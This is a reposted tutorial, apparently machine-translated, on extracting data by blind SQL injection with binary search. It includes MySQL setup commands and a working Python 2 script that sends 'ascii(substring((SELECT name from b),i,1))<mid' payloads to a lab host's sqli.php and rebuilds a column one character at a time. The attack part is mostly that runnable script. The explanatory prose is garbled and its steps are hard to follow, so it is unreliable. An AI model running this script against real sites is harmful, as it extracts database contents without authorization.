Blind SQL Injection Using the binary method

Source: Internet
Author: User

General idea: 1. the mid value is the center value of left and right. If the mid value is equal to left, it is equal to 5. If the mid value is not equal to 22, the request mid value is returned. If the correct page is returned, it is jumped to 3, if the page with the returned error jumps to 43 and the returned page is correct, assign "right" to mid4, return the page error, and assign "left" to mid5. The returned mid value is still very fast, generally, a single character can be queried for requests within 10 times. Create a database table first

mysql> CREATE TABLE a(id INT,content  VARCHAR(20));Query OK, 0 rows affected (0.20 sec)       mysql> CREATE TABLE b(id INT,name VARCHAR(100));Query OK, 0 rows affected (0.03 sec) mysql> INSERT INTO a(id,content) VALUES(1,'test');Query OK, 1 row affected (0.34 sec)       mysql> INSERT INTO b(id,name) VALUES(1,'aaaaaaaaaabbbbbbbbbcccccccccddddddddddfffffggggggggggggggggg');Query OK, 1 row affected (0.03 sec)

 

Blind injection vulnerability php code
 

 

Use Code

​#!/usr/bin/env python# -*- codeing:utf-8 -*-      import sys,urllib2from optparse import OptionParserfrom urllib2 import Request,urlopen,URLError,HTTPErrorimport urllib       def request(URL):    user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }    req = urllib2.Request(URL, None, user_agent)           try:        request = urllib2.urlopen(req)           except HTTPError, e:        print('[!] The server couldnt fulfill the request.')        print('[!] Error code: ' + str(e.code))        sys.exit(1)           except URLError, e:        print('[!] We failed to reach a server.')        print('[!] Reason: ' + str(e.reason))        sys.exit(1)           return request.read()      def binary_sqli(left, right, index):    host = '192.168.204.129'          while 1:        mid = (left + right)/2        if mid == left:            print chr(mid)            break        payload = '1 and ascii(substring((SELECT name from b),%s,1))<%s' % (str(index), mid)        param = {'sqli': payload}        html = request('http://'+host+'/sqli.php?'+urllib.urlencode(param))              if 'True' in html:            right = mid        else:            left = mid                  if __name__ == '__main__':    for i in range(1,50):        binary_sqli(35, 127, i) 


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.